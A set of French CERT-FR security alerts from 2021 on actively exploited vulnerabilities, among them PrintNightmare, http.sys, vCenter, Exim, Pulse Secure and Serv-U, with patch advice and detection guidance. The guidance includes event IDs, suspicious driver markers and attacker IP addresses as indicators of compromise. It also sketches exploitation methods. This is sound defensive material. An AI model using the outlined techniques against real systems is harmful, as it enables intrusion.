Se référer au bulletin de sécurité de l'éditeur pour l'obtention des
correctifs (cf. section Documentation).

Billet de blogue FireEye du 20 avril 2021

Outil de vérification d'intégrité Pulse Secure

Bulletin de sécurité Pulse Secure SA44784 du 20 avril 2021

Avis CERT-FR CERTFR-2021-AVI-335 du 03 mai 2021

Version initiale

Ajout de l'avis CERT-FR CERTFR-2021-AVI-335 et disponibilité du correctif.

correction du lien CERT-FR

Exécution de code arbitraire à distance

Summary:
\[version du 3 mai 2021\]

L'éditeur a publié le correctif pour la vulnérabilité CVE-2021-22893,
ainsi que les vulnérabilités CVE-2021-22894, CVE-2021-22899 et
CVE-2021-22900 avec un score CVSSv3 respectivement de 9.9, 9.9 et 7.2.

Si des mesures de contournement ont été appliquées, elles doivent être
retirées en important le fichier remove-workaround-2104.xml, et les
paramètres "Files,
Windows" et "Meetings" doivent être
restaurés avant l'application du correctif (cf. bulletin de sécurité de
l'éditeur).

\[version du 20 avril 2021\]

Le 20 avril 2021, Pulse Secure a publié un bulletin de sécurité
concernant la vulnérabilité CVE-2021-22893 (cf. section Documentation).
Celle-ci permet à un attaquant non authentifié d'exécuter du code
arbitraire à distance. Aucun correctif n'est pour l’instant disponible.

Le même jour, FireEye a publié un billet de blogue (cf. section
Documentation) expliquant que cette vulnérabilité est activement
exploitée dans le cadre d'attaques ciblées. Au cours d'une exploitation,
les attaquants modifient certains fichiers pour déposer des portes
dérobées et effacer leurs traces.

Pulse Secure a publié un outil qui tente de détecter ces
modifications (cf. section Documentation).

[MàJ] Vulnérabilité dans Pulse Connect Secure


Exim versions antérieures à 4.94

BlogPost de Qualys concernant les vulnérabilités

Version initiale

Exécution de code arbitraire à distance

Élévation de privilèges

Contournement de la politique de sécurité

Non spécifié par l'éditeur

Summary:
Le 5 mai 2021, Qualys a publié un bulletin de sécurité contenant 21
vulnérabilités affectant le serveur mail Exim. Quatre de ces
vulnérabilités permettent une élévation de privilège et trois une
exécution de code arbitraire. Ces vulnérabilités affectent toutes les
versions de Exim antérieures à 4.94 et permettent *in fine* à un attaquant non
authentifié de prendre le contrôle du serveur mail avec les privilèges du compte
*root*.

Multiples vulnérabilités dans Exim

Bulletin de sécurité Exim du 5 mai 2021


Windows 10 version 20H2

Windows Server version 2004

Windows Server version 20H2

Windows 10 version 2004

## Solution

**Le CERT-FR recommande de procéder sans délai à la mise à jour des
systèmes d'exploitation affectés en commençant par les machines exposées
sur des réseaux non sécurisés.**

Se référer au bulletin de sécurité de l'éditeur pour l'obtention des
correctifs (cf. section Documentation).

Version initiale

Des codes d'attaques sont désormais publics.

Exécution de code arbitraire à distance

Summary:
\[version du 21 mai 2021\]

Le CERT-FR a connaissance de l'existence de codes d'attaques publics
provoquant un déni de service sur l'équipement ciblé. Il est fortement
recommandé de mettre à jour les postes de travail et les serveurs
installés avec les versions du système d'exploitation affectées par
cette vulnérabilité.

\[version initiale\]

Le système d'exploitation Microsoft Windows propose un service de
gestion des requêtes HTTP sous la forme d'un pilote en mode noyau appelé
http.sys. Une vulnérabilité a été découverte dans ce pilote pour Windows
Server et Windows 10. Elle permet à un attaquant de provoquer une
exécution de code arbitraire à distance et l'éditeur considère qu'elle
peut être exploitée dans le cadre d'attaques à propagation de type "ver
informatique".

Le pilote http.sys est notamment utilisé par Microsoft IIS, le service
Windows Remote Management (WinRM) ainsi que le service SSDP. Il est donc
présent sur les serveurs mais également sur les postes de travail. Par
conséquent, le CERT-FR recommande de considérer que l'ensemble des
machines utilisant une version de Windows affectée est vulnérable.

La vulnérabilité a été découverte par l'éditeur, cependant la
probabilité que des codes d'attaques soient mis au point rapidement est
très élevée.

[MàJ] Vulnérabilité dans Microsoft Windows

Bulletin de sécurité Microsoft CVE-2021-31166 du 11 mai 2021

Avis de sécurité CERT-FR CERTFR-2021-AVI-367 du 12 mai 2021


## Solution

**Le CERT-FR recommande de déployer le correctif de sécurité dans les
plus brefs délais.**

Se référer au bulletin de sécurité de l'éditeur pour l'obtention des
correctifs (cf. section Documentation).

Version initiale

Exécution de code arbitraire

Summary:
Une vulnérabilité a été découverte dans Adobe Acrobat et Acrobat Reader.
Elle permet à un attaquant de provoquer une exécution de code
arbitraire. L'éditeur indique que cette vulnérabilité aurait été
exploitée dans des attaques ciblées visant des utilisateurs d'Acrobat
Reader sur Windows.

Vulnérabilité dans Adobe Acrobat et Acrobat Reader

Avis de sécurité CERT-FR CERTFR-2021-AVI-360 du 12 mai 2021

Bulletin de sécurité Adobe apsb21-29 du 11 mai 2021


vCenter Server versions 6.5 antérieures à 6.5 U3p

Cloud Foundation (vCenter Server) versions 3.x antérieures à 3.10.2.1

vCenter Server versions 7.0 antérieures à 7.0 U2b

vCenter Server versions 6.7 antérieures à 6.7 U3n

Cloud Foundation (vCenter Server) versions 4.x antérieures à 4.2.1

## Contournement provisoire

Dans la foire au questions concernant l'avis VMSA-2021-0010 (cf. section
Documentation), VMware déconseille la désactivation du greffon vSAN pour
des périodes prolongées.

L'application du correctif est donc la seule solution pour se protéger
efficacement contre la vulnérabilité CVE-2021-21985.

## Solution

Se référer au bulletin de sécurité de l'éditeur pour l'obtention des
correctifs (cf. section Documentation).

Foire aux questions VMware concernant l'avis VMware VMSA-2021-0010 du 25 mai 2021

Version initiale

Exécution de code arbitraire à distance

Summary:
Le 25 mai 2021, VMware a publié un correctif pour la vulnérabilité
CVE-2021-21985 affectant le greffon Virtual SAN Health Check qui est
installé par défaut dans vCenter Server.

L'exploitation de cette vulnérabilité permet à un attaquant non
authentifié d'exécuter du code arbitraire à distance avec un haut niveau
de privilèges. De plus, des codes d'attaques sont disponibles
publiquement pour la vulnérabilité CVE-2021-21985 et le CERT-FR a
connaissance d'exploitations actives de celle-ci.

Le CERT-FR rappelle que les interfaces de gestion ne doivent pas être
accessibles directement sur internet. Toutefois, le CERT-FR constate la
disponibilité d'un certain nombre d'interfaces de gestion vCenter sur
internet. A ce sujet, l'ANSSI a publié les guides suivants concernant
l'accès sécurisé à distance :

-   <https://www.ssi.gouv.fr/administration/guide/recommandations-de-securite-pour-les-architectures-basees-sur-vmware-vsphere-esxi/>
    (pour ESXi 5)
-   <https://www.ssi.gouv.fr/administration/guide/securiser-ladministration-des-systemes-dinformation/>
    (de portée plus générale)

Vulnérabilité dans VMware vCenter Server

Bulletin d'actualité CERT-FR CERTFR-2021-ACT-023

Bulletin de sécurité VMware VMSA-2021-0010

Avis de sécurité CERT-FR CERTFR-2021-AVI-403


Windows Server 2016

Windows 10 Version 21H1 pour systèmes 32 bits

Windows 10 Version 20H2 pour systèmes 32 bits

Windows Server 2012

Windows Server 2012 R2

Windows 10 Version 1909 pour systèmes 32 bits

Windows Server 2016 (Server Core installation)

Windows 7 pour systèmes 32 bits Service Pack 1

Windows 10 Version 1809 pour systèmes x64

Windows 10 pour systèmes x64

Windows RT 8.1

Windows 10 Version 2004 pour systèmes 32 bits

Windows Server 2012 R2 (Server Core installation)

Windows 10 Version 20H2 pour systèmes x64

Windows Server 2008 R2 pour systèmes x64 Service Pack 1 (Server Core installation)

Windows Server 2008 pour systèmes 32 bits Service Pack 2 (Server Core installation)

Windows 10 Version 1909 pour systèmes x64

Windows 10 Version 2004 pour ARM64-based Systems

Windows 7 pour systèmes x64 Service Pack 1

Windows Server 2019

Windows Server, version 20H2 (Server Core Installation)

Windows 10 Version 21H1 pour systèmes x64

Windows 10 Version 1909 pour ARM64-based Systems

Windows Server, version 2004 (Server Core installation)

Windows 10 Version 1809 pour ARM64-based Systems

Windows Server 2008 pour systèmes x64 Service Pack 2 (Server Core installation)

Windows 8.1 pour systèmes x64

Windows 10 Version 1607 pour systèmes x64

Windows 10 Version 2004 pour systèmes x64

Windows 10 pour systèmes 32 bits

Windows 10 Version 21H1 pour ARM64-based Systems

Windows 8.1 pour systèmes 32 bits

Windows Server 2012 (Server Core installation)

Windows 10 Version 1607 pour systèmes 32 bits

Windows Server 2019 (Server Core installation)

Windows 10 Version 20H2 pour ARM64-based Systems

Windows 10 Version 1809 pour systèmes 32 bits

Version initiale

Clôture de l'alerte. Cela ne signifie pas la fin d'une menace. Seule l'application de la mise à jour permet de vous prémunir contre l'exploitation de la vulnérabilité correspondante.

Exécution de code arbitraire à distance

Élévation de privilèges

Atteinte à la confidentialité des données

Summary:
A l'occasion de sa mise à jour mensuelle de juin 2021, Microsoft a
publié des correctifs, entre autres, pour six vulnérabilités qui sont
activement exploitées dans le cadre d'attaques ciblées.

Quatre de ces vulnérabilités (CVE-2021-31199, CVE-2021-31201,
CVE-2021-31956 et CVE-2021-33739) permettent une élévation de privilège,
la vulnérabilité CVE-2021-31955 concerne une fuite d'information, enfin
la vulnérabilité CVE-2021-33742 donne à un attaquant la possibilité
d'exécuter du code arbitraire à distance.

Lorsque ces vulnérabilités sont enchaînées, elles permettent à un
attaquant de prendre complètement la main sur une machine si un
utilisateur se rend sur un site malveillant.

Le CERT-FR recommande donc l'application des correctifs dans les plus
brefs délais.

Multiples vulnérabilités dans Microsoft Windows

Bulletin de sécurité Microsoft CVE-2021-33739 du 08 juin 2021

Bulletin de sécurité Microsoft CVE-2021-31955 du 08 juin 2021

Bulletin de sécurité Microsoft CVE-2021-31201 du 08 juin 2021

Bulletin de sécurité Microsoft CVE-2021-31956 du 08 juin 2021

Bulletin de sécurité Microsoft CVE-2021-33742 du 08 juin 2021

Bulletin de sécurité Microsoft CVE-2021-31199 du 08 juin 2021

Avis de sécurité CERT-FR CERTFR-2021-AVI-448 du 09 juin 2021


Windows 10 for x64-based Systems

Windows Server 2008 for x64-based Systems Service Pack 2 (Server Core installation)

Windows 10 Version 20H2 for ARM64-based Systems

Windows 10 Version 1809 for 32-bit Systems

Windows Server 2012

Windows 8.1 for 32-bit systems

Windows 7 for 32-bit Systems Service Pack 1

Windows RT 8.1

Windows 8.1 for x64-based systems

Windows 10 Version 2004 for 32-bit Systems

Windows Server 2012 R2 (Server Core installation)

Windows Server 2008 for 32-bit Systems Service Pack 2 (Server Core installation)

Windows Server 2016

Windows 10 Version 1607 for 32-bit Systems

Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)

Windows 10 Version 21H1 for 32-bit Systems

Windows 10 Version 2004 for x64-based Systems

Windows Server 2019

Windows 10 Version 1909 for 32-bit Systems

Windows Server, version 20H2 (Server Core Installation)

Windows 10 Version 1909 for x64-based Systems

Windows 10 Version 20H2 for x64-based Systems

Windows 7 for x64-based Systems Service Pack 1

Windows 10 Version 20H2 for 32-bit Systems

Windows 10 Version 2004 for ARM64-based Systems

Windows 10 for 32-bit Systems

Windows 10 Version 1809 for x64-based Systems

Windows Server, version 2004 (Server Core installation)

Windows 10 Version 21H1 for ARM64-based Systems

Windows 10 Version 21H1 for x64-based Systems

Windows Server 2016 (Server Core installation)

Windows 10 Version 1809 for ARM64-based Systems

Windows Server 2012 R2

Windows 10 Version 1607 for x64-based Systems

Windows 10 Version 1909 for ARM64-based Systems

## Solution

**A ce jour, le correctif publié par Microsoft le 09 juin 2021 ne
protège pas le service spouleur d'impression contre cette méthode
d'exploitation.**

Cette section sera mise à jour lorsque Microsoft publiera un nouveau
correctif.

Version initiale

ajout de premiers éléments d'aide à la détection

Alerte remplacée par l'alerte CERTFR-2021-ALE-014

Élévation de privilèges

Exécution de code arbitraire à distance

Summary:
\[version mise à jour le 02 juillet 2021 : cette alerte est remplacée
par l'alerte CERTFR-2021-ALE-014\]

La vulnérabilité CVE-2021-1675 est correctement corrigée par le
correctif publié par l'éditeur lors du Patch Tuesday de juin 2021. Les
codes d'attaque publiés le 29 juin exploitent une autre vulnérabilité du
spouleur d'impression. Se référer à
[https://www.cert.ssi.gouv.fr/alerte/CERTFR-2021-ALE-014](https://www.cert.ssi.gouv.fr/alerte/CERTFR-2021-ALE-014)

\[version mise à jour le 30 juin 2021 à 19h20 : ajout d'informations
d'aide à la détection\]

Le 8 juin 2021, Microsoft publiait des correctifs concernant des
vulnérabilités critiques de type « jour zéro » (*zero day*). Une de ces
vulnérabilités, la CVE-2021-1675, affecte le service spouleur
d'impression (*print spooler*), un composant logiciel du système
d’exploitation Microsoft Windows activé par défaut. Cette vulnérabilité
permettait initialement, selon Microsoft, une escalade de privilèges en
local. Son score CVSSv3 s’élevait alors à 7.8.

Le 29 juin 2021, deux chercheurs ont présenté une nouvelle façon
d’exploiter cette vulnérabilité, cette fois à distance et ce malgré le
correctif proposé par Microsoft. La CVE-2021-1675 doit donc être
considérée comme une vulnérabilité non corrigée permettant une exécution
de code à distance, entraînant une élévation de privilèges avec les
droits SYSTEM. Son score CVSSv3 est donc amené à évoluer.

Des codes d'exploitation sont publiquement disponibles sur Internet,
ce qui signifie que l’exploitation de cette vulnérabilité est imminente
ou déjà en cours.

Ces codes exploitent la possibilité offerte par le service spouleur
d'impression (*print spooler)* de téléverser un pilote, dans le cadre de
l’ajout d’une nouvelle imprimante, pour installer un code malveillant.
Or, par défaut, le service spouleur d'impression (*print spooler)* est
activé sur les contrôles de domaine Active Directory. Un attaquant,
ayant préalablement compromis un poste utilisateur, pourra *in fine*
obtenir les droits et privilèges de l’administrateur de domaine Active
Directory.

Au vu de la criticité de cette vulnérabilité, l’ANSSI recommande
fortement de réaliser les actions suivantes :

-   modifier immédiatement le type de démarrage vers la valeur
    "Désactivé" / "Disabled" pour le service "Spooler" (description :
    "Spouleur d'impression" / "Print Spooler", exécutable :
    "spoolsv.exe") sur les contrôleurs de domaine, ainsi que sur toute
    autre machine sur lequel ce service n’est pas nécessaire,
    particulièrement pour des machines hébergeant des services
    privilégiés sur l'Active Directory ;
-   une fois le service désactivé, il est nécessaire d’arrêter
    manuellement le service ou de redémarrer la machine ;
-   de contrôler le système d’information pour détecter d’éventuelles
    latéralisations ainsi qu’une compromission des serveurs Active
    Directory.

### Informations d'aide à la détection

Une première mesure de détection
consistera en la surveillance du processus *spoolsv.exe* sur les
machines sur lesquelles se processus ne peut pas être désactivé (\*). La
création d'un processus enfant qui lui serait rattaché devrait faire
l'objet d'une analyse. A cet effet, on peut surveiller ce type
d'évènement notamment via l'évènement d'identifiant 1 de l'outil System
Monitor (Sysmon) mais également par l'évènement d'identifiant 4688 des
journaux de sécurité de Windows.

Ces éléments seront complétés ultérieurement.

(\*) Le CERT-FR recommande fortement de ne jamais activer le service
spouleur d'impression sur les contrôleurs de domaine.

[MaJ] Vulnérabilité dans Microsoft Windows

Bulletin de sécurité Microsoft CVE-2021-1675


Windows Server 2012 R2

Windows 8.1 for 32-bit systems

Windows RT 8.1

Windows Server 2016

Windows 10 Version 1607 for 32-bit Systems

Windows 10 Version 21H1 for 32-bit Systems

Windows 10 Version 2004 for x64-based Systems

Windows Server, version 20H2 (Server Core Installation)

Windows 10 for x64-based Systems

Windows Server 2008 for x64-based Systems Service Pack 2 (Server Core installation)

Windows 10 Version 20H2 for ARM64-based Systems

Windows 10 Version 1809 for 32-bit Systems

Windows Server 2012

Windows 7 for 32-bit Systems Service Pack 1

Windows 8.1 for x64-based systems

Windows 10 Version 2004 for 32-bit Systems

Windows Server 2019 (Server Core installation)

Windows Server 2012 R2 (Server Core installation)

Windows 10 Version 1607 for x64-based Systems

Windows Server 2008 for 32-bit Systems Service Pack 2 (Server Core installation)

Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)

Windows Server 2019

Windows 10 Version 1909 for 32-bit Systems

Windows 10 Version 1909 for x64-based Systems

Windows 10 Version 20H2 for x64-based Systems

Windows 7 for x64-based Systems Service Pack 1

Windows 10 Version 20H2 for 32-bit Systems

Windows 10 Version 2004 for ARM64-based Systems

Windows 10 for 32-bit Systems

Windows 10 Version 1809 for x64-based Systems

Windows 10 Version 1909 for ARM64-based Systems

Windows Server, version 2004 (Server Core installation)

Windows 10 Version 21H1 for ARM64-based Systems

## Solution

**\[05 janvier 2022\] La
vulnérabilité CVE-2021-36958 a été corrigée dans le Patch Tuesday de
septembre 2021 :
https://www.cert.ssi.gouv.fr/avis/CERTFR-2021-AVI-710/.**

**\[16 juillet 2021\] Le CERT-FR actualisera cette alerte lorsqu'un
correctif sera disponible pour la vulnérabilité CVE-2021-36958.**

**\[11 août 2021\] Microsoft a publié un correctif pour la vulnérabilité
CVE CVE-2021-34481.** Le CERT-FR recommande son installation dans les
plus brefs délais.

<s>**\[16 juillet 2021\] Le CERT-FR actualisera cette alerte lorsqu'un
correctif sera disponible pour la CVE CVE-2021-34481.**</s>

**\[08 juillet 2021 14h30\] Le CERT-FR recommande très fortement
d'appliquer le correctif sans délai,** même si celui-ci semble corriger
uniquement l'exécution de code arbitraire à distance et non l'escalade
de privilège en local.

**En outre, il est obligatoire de respecter la recommandation de
l'éditeur concernant la fonctionnalité "*Point and Print*"** en
s'assurant que, si les clés de registre existent (ce n'est pas le cas
par défaut), celles-ci sont bien définies avec les valeurs suivantes :

-   la clé de registre NoWarningNoElevationOnInstall
    (HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows
    NT\\Printers\\PointAndPrint) doit être absente ou égale à 0 (DWORD)
-   la clé de registre NoWarningNoElevationOnUpdate (même emplacement)
    doit être absente ou égale à 0 (DWORD)

<s>**\[06 juillet 2021\]** L'éditeur a publié des correctifs pour les
versions maintenues de son système d'exploitation, à l'exception des
versions Windows 2012 R2, Windows 2016 et Windows 10 Version 1607 pour
lesquelles un correctif sera publié ultérieurement.</s>

<s>**\[08 juillet 2021\]** Des correctifs sont désormais disponibles
pour toutes les versions maintenues de Microsoft Windows.</s>

**Important** : Il convient de noter que les versions qui ne sont plus
maintenues, telles que Windows 10 Version 1903, sont affectées par la
vulnérabilité mais ne seront pas corrigées.

Avis CERT-FR CERTFR-2021-AVI-506 du 07 juillet 2021

[8] Bulletin du CERT/CC VU#131152 du 18 juillet 2021

[2] guide Microsoft 365 Defender

[1] Points de contrôle Active Directory définis par l'ANSSI

Avis CERT-FR CERTFR-2021-AVI-618 du 11 août 2021

Version initiale

Publication de correctifs pour la plupart des versions de Microsoft Windows

Ajout de l'avis CERT-FR CERTFR-2021-AVI-506 du 07 juillet 2021.

Publication de correctifs pour toutes les versions, recommandation éditeur supplémentaire

Clarification des recommandations

correction chemin ImageLoaded:C:WindowsSystem32spooldrivers

Déclaration d'une nouvelle CVE et compléments d'information sur la détection système

Mise à jour de l'avis de l'éditeur avec correctifs.

Modification du titre, ajout de la vulnérabilité CVE-2021-36958

Mention de la disponibilité du correctif pour la vulnérabilité CVE-2021-36958.

Clôture de l'alerte. Cela ne signifie pas la fin d'une menace. Seule l'application de la mise à jour permet de vous prémunir contre l'exploitation de la vulnérabilité correspondante.

Élévation de privilèges

Exécution de code arbitraire à distance

Summary:
\[version du 12 août 2021\]

Le 11 août 2021, Microsoft a publié un avis concernant la
vulnérabilité CVE-2021-36958 affectant le spouleur d’impression (*print
spooler*). Microsoft indique que cette vulnérabilité permet une
exécution de code arbitraire à distance. Le CERT/CC ajoute qu'en se
connectant à une imprimante malveillante, l'attaquant peut exécuter du
code arbitraire avec les privilèges *SYSTEM* \[8\].

Aucun correctif n'est disponible pour l'instant. Microsoft conseille
donc de désactiver le service.

Comme la désactivation complète des impressions est difficilement
réalisable, le CERT-FR renvoie vers les recommandations formulées dans
le paragraphe \[version initiale\].

\[version du 11 août\]

Microsoft a publié une mise à jour de sécurité
([KB5005652](https://support.microsoft.com/help/5005652)) corrigeant la
vulnérabilité référencée par l'identifiant CVE-2021-34481 \[7\]. Point
important : Microsoft a récemment pris connaissance d'un scénario
d'attaque à distance pour cette vulnérabilité dont l'impact initial se
restreignait alors seulement à une élévation de privilèges locaux.
Ainsi, Microsoft a donc révisé son évaluation en conséquence. Le score
CVSSv3 de cette vulnérabilité s'élève maintenant à 8.8. Nous vous
recommandons d'installer ces mises à jour immédiatement.

\[version du 16 juillet, 15h30\]

Le 6 juillet 2021, Microsoft annonçait un correctif pour la
CVE-2021-34527 afin de protéger les systèmes Windows contre une attaque
distante. Cependant, le 15 juillet 2021, Microsoft a publié un
bulletin de sécurité \[3\] qui confirme l'existence d'une vulnérabilité
non corrigée permettant une élévation locale des privilèges avec
les privilèges SYSTEM. Cette vulnérabilité est référencée par
l'identifiant CVE-2021-34481 \[4\]. L'attaquant exploite la
vulnérabilité en accédant au système cible localement. Il peut également
s'appuyer sur une interaction avec l'utilisateur pour effectuer les
actions requises afin d'exploiter la vulnérabilité (ex. : inciter un
utilisateur légitime à ouvrir un document malveillant).

Le CERT-FR rappelle que les recommandations ci-dessous sont toujours
valables. Par ailleurs, des compléments d'aide à la détection ont été
ajoutés ci-après.

\[version du 12 juillet, 15h30\] Correction d'une erreur dans le nom
du chemin "C:\\Windows\\System32\\spool\\drivers", il s'agit bien de
"drivers" et non pas "driver".

\[version du 08 juillet 2021 14h30\] Le correctif publié par
Microsoft ainsi que la sécurisation de la fonctionnalité "Point and
Print" (décrite ci-dessous) permettent de se prémunir contre une
exécution de code arbitraire à distance. L'application de ces mesures
permet d'envisager la réactivation de l'impression distante sur les
serveurs d'impression (cf. ci-dessous).

\[version du 08 juillet 2021 09h00 : information concernant la
publication des correctifs, ajout d'une recommandation de l'éditeur\]
voir ci-dessous.

\[version du 07 juillet 2021 10h00 : information concernant la
publication des correctifs\] se référer à la section "Solution".

\[version initiale\]

Cette alerte annule et remplace l’alerte CERT-FR
CERTFR-2021-ALE-013.

Le 29 juin 2021, deux chercheurs ont présenté une façon d’exploiter une
vulnérabilité affectant le spouleur d’impression (*print spooler*) et
permettant une exécution de code à distance, entraînant une élévation de
privilèges avec les droits SYSTEM.

Le 1er juillet 2021, Microsoft a publié un avis de sécurité indiquant
que cette vulnérabilité « jour zéro » (*zero day*) est différente de la
vulnérabilité CVE-2021-1675 initialement corrigée lors du Patch Tuesday
du 09 juin 2021.

Cette nouvelle vulnérabilité, CVE-2021-34527, affecte le spouleur
d’impression (*print spooler*) qui est un composant du système
d’exploitation Windows activé par défaut. Elle permet à un attaquant
d’exécuter du code arbitraire à distance avec les droits SYSTEM.

Des codes d'exploitation sont publiquement disponibles sur Internet,
ce qui signifie que l’exploitation de cette vulnérabilité est imminente
ou déjà en cours.

Ces codes exploitent la possibilité offerte par le service spouleur
d'impression de téléverser un pilote, dans le cadre de l’ajout d’une
nouvelle imprimante, pour installer un code malveillant. Ce service
étant activé par défaut, tout système Windows est donc actuellement
vulnérable, avec la possibilité d'une exploitation à distance.

En particulier, au sein d'un système d'information Microsoft, les
contrôleurs de domaine Active Directory sont particulièrement exposés,
puisqu'un attaquant, ayant préalablement compromis un poste utilisateur,
pourra *in fine* obtenir les droits et privilèges de niveau
"administrateur de domaine" Active Directory.

L’ANSSI recommande fortement de réaliser les actions suivantes :

-   pour tous les systèmes ne nécessitant pas le service d'impression,
    en particulier pour les contrôleurs de domaine (le CERT-FR
    recommande fortement de ne jamais activer le service spouleur
    d'impression sur les contrôleurs de domaine) :
    -   modifier le type de démarrage vers la valeur "Désactivé" /
        "Disabled" pour le service "Spooler" (description : "Spouleur
        d'impression" / "Print Spooler", exécutable : "spoolsv.exe"),
    -   une fois le service désactivé, il est nécessaire d’arrêter
        manuellement le service ou de redémarrer la machine ;
-   appliquer une politique de filtrage réseau afin d'éviter les
    latéralisations sur les systèmes nécessitant le service d'impression
    (notamment les postes de travail) : on pourra notamment utiliser le
    pare-feu intégré pour interdire les connexions entrantes sur les
    ports 445 et 139 (canaux nommés SMB) ainsi qu'interdire les
    connexions à destination du processus spoolsv.exe ;
-   \[08 juillet 2021 14h30\] sur les équipements non corrigés ou
    qui ne sont pas des serveurs d'impression, désactiver la prise
    en compte des demandes d’impression distante <s>sur l’ensemble des
    systèmes</s>, tout en laissant la possibilité de lancer une
    impression locale. Ce paramètre peut être défini à l’aide d’une
    Stratégie de Groupe (*Group Policy*) : le paramètre « Autoriser le
    spouleur d’impression à accepter les connexions des clients » doit
    être à l’état « Désactivé »/« Disabled » (« Configuration
    ordinateur » / «Modèle d’administration » / « Imprimantes ») ;
-   mettre en place une détection système et réseau dans le but de
    détecter les exploitations sur les équipements vulnérables, les
    éventuelles latéralisations ainsi que la compromission des contrôles
    de domaine Active Directory ;
-   suivre les recommandations de sécurisation d'Active Directory \[1\].

### Informations d'aide à la détection système

Une première mesure de détection des codes d'exploitation actuels
consistera en la surveillance des processus enfant créés par le
processus *spoolsv.exe*, les codes d'exploitation utilisant cette
technique pour exécuter un code malveillant. Pour tracer la création
d'un processus fils, on peut regarder les évènements suivants :

-   l'évènement numéro 4688 du fournisseur
    "Microsoft-Windows-Security-Auditing" enregistré dans le journal de
    sécurité, si la stratégie est configurée pour le générer car cet
    évènement n'est pas produit par défaut ;
-   l'évènement numéro 1 du fournisseur "Microsoft-Windows-Sysmon"
    enregistré dans le journal sysmon si l'outil System Monitor est
    installé.

Il convient de noter que les moyens de détection ci-dessus sont
pertinents dans le cadre de la détection d'une exploitation à l'aide des
codes publiés le 29 juin 2021.

En complément, il pourrait être utile de tracer :

-   l’évènement numéro 11 du fournisseur
    "Microsoft-Windows-Security-Mitigations/KernelMode", qui pourra être
    utilisé afin d’identifier le chargement d’une bibliothèque dynamique
    (*dll*) non signée (champs SignatureLevel et ImageName) par le
    processus spoolsv.exe
    (« ProcessPath:\*\\Windows\\System32\\spoolsv.exe »).
-   l’évènement numéro 7 du fournisseur
    "Microsoft-Windows-Sysmon/Operational" avec une configuration
    appropriée de System Monitor pour identifier le chargement de
    bibliothèque (*dll*) par le processus spoolsv.exe
    ("Image:\\C:\\Windows\\System32\\spoolsv.exe") depuis le répertoire
    de pilote (champ
    "ImageLoaded:C:\\Windows\\System32\\spool\\drivers\\\*") avec le
    champ "Signed" à false
-   \[16 juillet 2021\] L’évènement numéro 808 du fournisseur
    "Microsoft-Windows-PrintService/Admin" indique qu'une erreur est
    survenue lors du chargement d'un pilote (le chemin de la dll est
    mentionné par le champ PluginDllName). Un nom peu commun peut être
    considéré comme un marqueur. Note: l'enregistrement de cet évènement
    est activé par défaut.
-   \[16 juillet 2021\] Certaines valeurs non usuelles remontées par
    l’évènement numéro 13 du fournisseur
    "Microsoft-Windows-Sysmon/Operational" peuvent indiquer une
    exploitation. Par exemple : DriverVersion=0.0.0.0,
    DriverDate=01/01/1601 ou encore Manufacturer=(Empty). L'installation
    d'un pilote d'imprimante avec une valeur "Manufacturer" vide est une
    action devant être considérée comme suspecte. De plus, si les clés
    "*Configuration File*" et "*Data File*" contiennent la même valeur,
    cela peut-être considéré comme une exploitation réussie. Note : la
    configuration doit être modifiée pour surveiller les modifications
    de registre dans
    *HKLM\\System\\CurrentControlSet\\Control\\Print\\Environments\\Windows
    x64\\Drivers\\Version-\** par spoolsv.exe. Une règle Sigma peut être
    consultée en suivant le lien \[5\].
-   \[16 juillet 2021\] Les codes d'exploitation publiques montrent
    un caractère déterministe permettant une mise en détection à l'aide
    de l’évènement numéro 316 du fournisseur
    "Microsoft-Windows-PrintService/Operational". En effet, le champs
    *Param1* contient le nom du driver (1234, Mimikatz…) et le champs
    *Param4* les valeurs de *pDriverPath*, *pConfigFile*, *pDataFile*.
    On s’intéressera particulièrement à une valeur suspecte de
    *pDataFile* ou de *Param1*. Quand l'exploitation est réussie,
    *pConfigFile* et *pDataFile* ont la même valeur : la DLL
    malveillante. Note : cet évènement n'est pas activé par défaut, il
    s'active de la façon suivante : *wevtutil.exe sl
    "Microsoft-Windows-PrintService/Operational" /e:True*. Une règle
    Sigma peut être consultée en suivant le lien \[6\].

Enfin, l’éditeur met à disposition un ensemble d’informations pour les
utilisateurs de la solution Microsoft 365 Defender \[2\].

[MaJ] Multiples vulnérabilités dans Microsoft Windows

[3] Bulletin de sécurité Microsoft CVE-2021-34481

Bulletin de sécurité Microsoft CVE-2021-36958

Bulletin de sécurité Microsoft CVE-2021-34527


SolarWinds Serv-U versions antérieures à 15.2.3 HF2

## Solution

**Le CERT-FR recommande très fortement d'appliquer le correctif sans
délai,** voici la procédure à appliquer en fonction de la version de
votre produit :

-   Si vous disposez d'un produit en version 15.2.3 HF1, veuillez
    appliquer le correctif 15.2.3 HF2 disponible sur le portail client
    de l'éditeur ;
-   Si vous disposez d'un produit en version 15.2.3, veuillez appliquer
    dans un premier temps le correctif 15.2.3 HF1, puis appliquer le
    correctif 15.2.3 HF2 ;
-   Si vous disposez d'un produit en version antérieure à 15.2.3, il
    vous faudra dans un premier temps monter votre produit en version
    15.2.3 pour ensuite pouvoir appliquer les correctifs 15.2.3 HF1 puis
    15.2.3 HF2.

### Informations d'aide à la détection de l'exploitation de cette vulnérabilité

En parallèle, le CERT-FR recommande de faire un contrôle du fichier de
journalisation *DebugSocketlog.txt*. En effet, la vulnérabilité étant de
type "*Return Oriented Programming attack*", son exécution va lever
l'exception suivante qui sera dans ce fichier :

```bash
Xxx xxxxxxx xx:xx:xx - EXCEPTION: C0000005; CSUSSHSocket::ProcessReceive(); Type: 30; puchPayLoad = 0x041ec066; nPacketLength = 76; nBytesReceived = 80; nBytesUncompressed = 156; uchPaddingLength = 5
```
*Exception levée lors de l'exploitation de la CVE-2021-35211*

L'éditeur indique cependant que la présence de cette exception
n'implique par forcément qu'une exploitation de cette vulnérabilité a
été réalisée.

La vérification des connections SSH et TCP est aussi très fortement
recommandée. D'après l'éditeur, les connections SSH provenant des IPs
suivantes seraient à considérer comme indicateur de compromission :
98.176.196.89, 68.235.178.32. Il en est de même pour les connexions TCP
sur le port 443 de l'IP : 208.113.35.58.

Version initiale

Exécution de code arbitraire à distance

Summary:
Le 9 juillet 2021, SolarWinds a publié un correctif pour la
vulnérabilité CVE-2021-35211 affectant les composants *Managed File
Transfer* et *Secure FTP* des produits Serv-U avec une version
antérieure à 15.2.3 HF2.

Cette vulnérabilité de type "jour zéro" (*zero day*) a été découverte
par Microsoft et permet à un attaquant de pouvoir exécuter du code
